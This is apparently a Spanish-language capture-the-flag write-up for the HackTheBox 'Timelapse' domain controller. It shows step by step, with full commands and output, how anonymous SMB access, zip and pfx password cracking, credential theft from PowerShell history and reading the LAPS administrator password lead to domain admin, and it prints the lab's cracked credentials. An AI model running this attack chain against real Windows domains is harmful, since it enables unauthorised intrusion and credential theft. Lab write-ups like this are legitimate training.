Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn
para forzar el escaneo aunque no reciba respuesta de los paquetes ping
❯ nmap 10.10.11.152 -Pn
Nmap scan report for 10.10.11.152
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
Con crackmapexec a nivel de smb podemos ver que nos detecta la versión de windows que esta corriendo y el dominio de la máquina timelapse.htb
❯ crackmapexec smb 10.10.11.152
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
Para que sepa a donde cuando le pasemos el dominio, lo agregamos al archivo /etc/hosts
con la ip designada ademas del nombre del equipo como otro
❯ echo "10.10.11.152 timelapse.htb dc01.timelapse.htb" | sudo tee -a /etc/hosts
Con smbclient podemos listar los recursos compartidos a nivel de smb y encontramos uno fuera de lo usual, el recurso Shares
❯ crackmapexec smb timelapse.htb -u null -p '' --shares
SMB timelapse.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB timelapse.htb 445 DC01 [+] timelapse.htb\null:
SMB timelapse.htb 445 DC01 [*] Enumerated shares
SMB timelapse.htb 445 DC01 Share Permissions Remark
SMB timelapse.htb 445 DC01 ----- ----------- ------
SMB timelapse.htb 445 DC01 ADMIN$ Remote Admin
SMB timelapse.htb 445 DC01 C$ Default share
SMB timelapse.htb 445 DC01 IPC$ READ Remote IPC
SMB timelapse.htb 445 DC01 NETLOGON Logon server share
SMB timelapse.htb 445 DC01 Shares READ
SMB timelapse.htb 445 DC01 SYSVOL Logon server share
Nos conectamos al recurso Shares, al entrar al directorio Dev encontramos un archivo con un nombre bastante llamativo winrm_backup.zip
, lo descargamos con get
❯ impacket-smbclient timelapse.htb/null@dc01.timelapse.htb -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use Shares
# ls
drw-rw-rw- 0 Mon Oct 25 15:55:14 2021 .
drw-rw-rw- 0 Mon Oct 25 15:55:14 2021 ..
drw-rw-rw- 0 Mon Oct 25 19:40:06 2021 Dev
drw-rw-rw- 0 Mon Oct 25 15:55:14 2021 HelpDesk
# cd Dev
# ls
drw-rw-rw- 0 Mon Oct 25 19:40:06 2021 .
drw-rw-rw- 0 Mon Oct 25 19:40:06 2021 ..
-rw-rw-rw- 2611 Mon Oct 25 21:05:30 2021 winrm_backup.zip
# get winrm_backup.zip
#
Shell - legacyy
Listando lo que tiene el zip sin descomprimirlo nos encontramos un archivo pfx y por el nombre sabemos que sirve para la autenticación como el usuario legacyy
❯ 7z l winrm_backup.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
Scanning the drive for archives:
1 file, 2611 bytes (3 KiB)
Listing archive: winrm_backup.zip
--
Path = winrm_backup.zip
Type = zip
Physical Size = 2611
Date Time Attr Size Compressed Name
------------------- ----- -------- ------------ ------------------------
2021-10-25 08:21:20 ..... 2555 2405 legacyy_dev_auth.pfx
------------------- ----- -------- ------------ ------------------------
2021-10-25 08:21:20 2555 2405 1 files
Sabemos el contenido del zip pero para leer el contenido del pfx necesitamos descomprimirlo, al intentar unzipearlo nos pide una contraseña, esta protegido
❯ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
Podemos usar zip2john para generar un hash para después aplicar fuerza bruta con el rockyou, john consigue encontrar la contraseña valida supremelegacy
❯ zip2john winrm_backup.zip > hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: 2b chk, TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Unzipeamos el archivo comprimido con la contraseña y obtenemos el archivo pfx
❯ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password: supremelegacy
inflating: legacyy_dev_auth.pfx
❯ ls legacyy_dev_auth.pfx
legacyy_dev_auth.pfx
Podemos extraer un certificado y una clave privada para autenticarnos contra winrm
del pfx usando la herramienta certipy
, pero al hacerlo nos pide contraseña
❯ certipy cert -pfx legacyy_dev_auth.pfx -nokey -out legacyy.crt
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[-] Got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace
Igual que con el zip, hacemos lo mismo con el pfx, usando pfx2john creamos un hash y aplicando fuerza bruta obtenemos la contraseña thuglegacy
❯ pfx2john legacyy_dev_auth.pfx > hash
❯ john -w:passwords hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx [PKCS12 PBE (.pfx, .p12) (SHA-1 to SHA-512) 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Ahora que tenemos la contraseña con ayuda de certipy
podemos extraer el certificado y la clave privada del archivo pfx para asi poder autenticarnos a winrm
❯ certipy cert -pfx legacyy_dev_auth.pfx -nokey -out legacyy.crt -password thuglegacy
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'legacyy.crt'
❯ certipy cert -pfx legacyy_dev_auth.pfx -nocert -out legacyy.key -password thuglegacy
Certipy v4.7.0 - by Oliver Lyak (ly4k)
[*] Writing private key to 'legacyy.key'
Con evil-winrm por el puerto ssl 5986
podemos autenticarnos pasandole esos 2 archivos, como resultado obtenemos una shell como el usuario legacyy
❯ evil-winrm -S -i timelapse.htb -c legacyy.crt -k legacyy.key
PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
PS C:\Users\legacyy\Documents> type ..\Desktop\user.txt
81a**************************2ba
PS C:\Users\legacyy\Documents>
Shell - svc_deploy
Una de las cosas a probar el el historial de powershell que siempre tiene la misma ruta, al leerla encontramos credenciales en texto claro de el usuario svc_deploy
PS C:\Users\legacyy\Documents> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
PS C:\Users\legacyy\Documents>
Mirando la información del usuario svc_deploy podemos ver que es parte del grupo Remote Management Users
por lo que deberia poder conectarse a winrm
PS C:\Users\legacyy\Documents> Get-ADPrincipalGroupMembership svc_deploy | Select Name
Name
----
Domain Users
Remote Management Users
LAPS_Readers
PS C:\Users\legacyy\Documents>
Nos conectamos como el usuario svc_deploy con evil-winrm, obtenemos una shell
❯ evil-winrm -S -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
PS C:\Users\svc_deploy\Documents> whoami
timelapse\svc_deploy
PS C:\Users\svc_deploy\Documents>
Shell - Administrator
Repasemos de nuevo, el usuario en el que estamos actualmente también es parte del grupo LAPS_Readers
, Laps muchas veces permite en los ordenadores del dominio a usuarios leer contraseñas de Administradores dependiendo los permisos
PS C:\Users\legacyy\Documents> Get-ADPrincipalGroupMembership svc_deploy | Select Name
Name
----
Domain Users
Remote Management Users
LAPS_Readers
PS C:\Users\legacyy\Documents>
Para obtener la contraseña de Administrator basta con leer del equipo DC01 del directorio activo la propiedad ms-mcs-admpwd
PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -Property 'ms-mcs-admpwd'
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-mcs-admpwd : 2mpY8H70i(28Q@B0M8r0c0cF
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
PS C:\Users\svc_deploy\Documents>
Otra forma de obtener la contraseña es a traves de crackmapexec en el servicio ldap usando el modulo laps
, esto como output nos muestra la contraseña
❯ crackmapexec ldap timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
SMB timelapse.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP timelapse.htb 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS timelapse.htb 389 DC01 [*] Getting LAPS Passwords
LAPS timelapse.htb 389 DC01 Computer: DC01$ Password: 2mpY8H70i(28Q@B0M8r0c0cF
Usamos la contraseña que se nos muestra para conectarnos con evil-winrm, obtenemos una shell como Administrator sin embargo no esta la flag en el escritorio
❯ evil-winrm -S -i timelapse.htb -u Administrator -p '2mpY8H70i(28Q@B0M8r0c0cF'
PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
PS C:\Users\Administrator\Documents> dir ..\Desktop
PS C:\Users\Administrator\Documents>
Desde el directorio C:\Users
buscamos de manera recursiva el root.txt, esta en el escritorio de TRX, asi que podemos simplemente leerlo
PS C:\Users> dir -recurse root.txt
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/16/2023 1:10 AM 34 root.txt
PS C:\Users> type C:\Users\TRX\Desktop\root.txt
c1d**************************431
PS C:\Users>